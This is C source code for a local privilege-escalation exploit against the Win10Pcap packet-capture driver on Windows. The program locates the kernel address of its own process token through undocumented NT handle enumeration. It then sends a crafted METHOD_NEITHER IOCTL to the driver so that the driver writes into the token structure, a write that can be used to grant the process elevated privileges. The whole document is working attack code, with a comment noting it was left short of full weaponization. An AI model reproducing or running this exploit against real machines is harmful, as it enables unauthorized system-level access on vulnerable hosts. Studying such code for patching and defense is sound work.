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// Source: https://github.com/Rootkitsmm/Win10Pcap-Exploit #include <stdio.h> #include <tchar.h> #include<Windows.h> #include<stdio.h> #include <winternl.h> #include <intrin.h> #include <psapi.h> #include <strsafe.h> #include <assert.h> #define SL_IOCTL_GET_EVENT_NAME CTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS) #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) /* found with : !token 1: kd> dt nt!_OBJECT_HEADER +0x000 PointerCount : Int4B +0x004 HandleCount: Int4B +0x004 NextToFree : Ptr32 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex: UChar +0x00d TraceFlags : UChar +0x00e InfoMask : UChar +0x00f Flags: UChar +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : Ptr32 Void +0x014 SecurityDescriptor : Ptr32 Void +0x018 Body : _QUAD TypeIndex is 0x5 */ #define HANDLE_TYPE_TOKEN 0x5 // Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation const SYSTEM_INFORMATION_CLASS SystemHandleInformation = (SYSTEM_INFORMATION_CLASS)16; // The NtQuerySystemInformation function and the structures that it returns // are internal to the operating system and subject to change from one // release of Windows to another. To maintain the compatibility of your // application, it is better not to use the function. typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); // Undocumented structure: SYSTEM_HANDLE_INFORMATION typedef struct _SYSTEM_HANDLE { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; // Undocumented FILE_INFORMATION_CLASS: FileNameInformation const FILE_INFORMATION_CLASS FileNameInformation = (FILE_INFORMATION_CLASS)9; // The NtQueryInformationFile function and the structures that it returns // are internal to the operating system and subject to change from one // release of Windows to another. To maintain the compatibility of your // application, it is better not to use the function. typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); // FILE_NAME_INFORMATION contains name of queried file object. typedef struct _FILE_NAME_INFORMATION { ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; void* FindTokenAddressHandles(ULONG pid) { ///////////////////////////////////////////////////////////////////////// // Prepare for NtQuerySystemInformation and NtQueryInformationFile. // // The functions have no associated import library. You must use the // LoadLibrary and GetProcAddress functions to dynamically link to // ntdll.dll. HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll")); assert(hNtDll != NULL); PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = (PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll, "NtQuerySystemInformation"); assert(NtQuerySystemInformation != NULL); ///////////////////////////////////////////////////////////////////////// // Get system handle information. // DWORD nSize = 4096, nReturn; PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize); // NtQuerySystemInformation does not return the correct required buffer // size if the buffer passed is too small. Instead you must call the // function while increasing the buffer size until the function no longer // returns STATUS_INFO_LENGTH_MISMATCH. while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH) { HeapFree(GetProcessHeap(), 0, pSysHandleInfo); nSize += 4096; pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc( GetProcessHeap(), 0, nSize); } for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++) { PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]); if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN) { printf(" ObjectTypeNumber %d , ProcessId %d , Object%p \r\n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object); return pHandle->Object; } } ///////////////////////////////////////////////////////////////////////// // Clean up. // HeapFree(GetProcessHeap(), 0, pSysHandleInfo); return 0; } void main() { DWORD dwBytesReturned; DWORD ShellcodeFakeMemory; HANDLE token; // first create toke handle so findobject address with handle if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token)) DebugBreak(); void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId()); CloseHandle(token); // i dont want write fully weaponized exploit so criminal must write code to find"WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :) HANDLE hDriver = CreateFileA("\\\\.\\WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hDriver!=INVALID_HANDLE_VALUE) { fprintf(stderr," Open Driver OK\n"); if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL)) { fprintf(stderr,"send IOCTL error %d.\n",GetLastError()); return; } elsefprintf(stderr," Send IOCTL OK\n"); } else { fprintf(stderr," Open Driver error %d.\n",GetLastError()); return; } CloseHandle(hDriver); getchar(); } |
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